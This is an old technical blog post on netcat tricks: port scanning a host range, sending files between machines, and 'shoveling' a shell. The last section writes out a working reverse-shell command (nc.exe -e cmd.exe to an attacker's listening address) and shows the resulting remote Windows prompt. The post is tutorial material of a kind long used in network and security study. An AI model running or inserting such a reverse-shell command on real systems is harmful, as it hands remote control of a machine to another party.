• Quotes
  • Index
  • About
AOssama.NET Technical Notes

More Fun with Netcat

October 10, 2009 9:16 pm / Leave a Comment / Ahmed

While I was going through my notes, I came across a topic which was originally posted on “2600: The Hacker Quarterly” Spring 2005, Volume 22.

Port Scanning…
This port scanning method could be as fast as nmap

Syntax:
nc -v -r -w3 -z target port1-portn

-v = verbose
-r = randomize the ports from the provided list
-w = wait time in seconds
-z = prevents sending data to the TCP connection

Example:
$ nc -v -r -z -w3 192.168.0.200 10-100

win2k3.example.com [192.168.0.200] 80 (www) open

File Transfers…
This requires netcat to be installed on both machines (it works for both text and binary files).

Receiver Syntax:
$ nc -l -p port > file
Sender Syntax:
$ nc -w3 target port < file

Example:

Receiver…
nc.exe -l -p 2112 > file
Sender…
$ nc -w3 192.168.0.90 2112 < lab.php

Shovel the Shell…
This is one of the most interesting uses of netcat, here we will be using netcat for getting a command prompt at the remote machine, think of it as a reverse shell.

Attack machine syntax:
nc -vv -l -p port
Target machine syntax:
nc -e path_to_prog host port

Example:

Attacker…
$ nc -vv -l -p 2112
listening on [any] 2112 …
Target…
nc.exe -e cmd.exe 192.168.0.3 2112
Back to the Attacker machine…
connect to [192.168.0.3] from (UNKNOWN) [192.168.0.90] 23657
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>

Posted in: Netcat / Tagged: nc, Netcat, port scan, reverse shell

Leave a Reply Cancel reply

You must be logged in to post a comment.

Post Navigation

← Previous Post
Next Post →

Categories

  • Apache (1)
  • Asterisk (2)
  • bind9 (1)
  • FreeBSD (9)
  • iSCSI (2)
  • Linux (12)
  • Netcat (1)
  • Networking (3)
  • Penetration Testing (1)
  • PHP (2)
  • Squid (2)

Archives

  • January 2013 (1)
  • April 2012 (3)
  • May 2011 (1)
  • January 2011 (1)
  • September 2010 (1)
  • August 2010 (1)
  • June 2010 (3)
  • May 2010 (1)
  • November 2009 (2)
  • October 2009 (9)
  • September 2009 (2)

Meta

  • Register
  • Log in
  • Entries RSS
  • Comments RSS
  • WordPress.org
© Copyright 2013 - AOssama.NET
Infinity Theme by DesignCoral / WordPress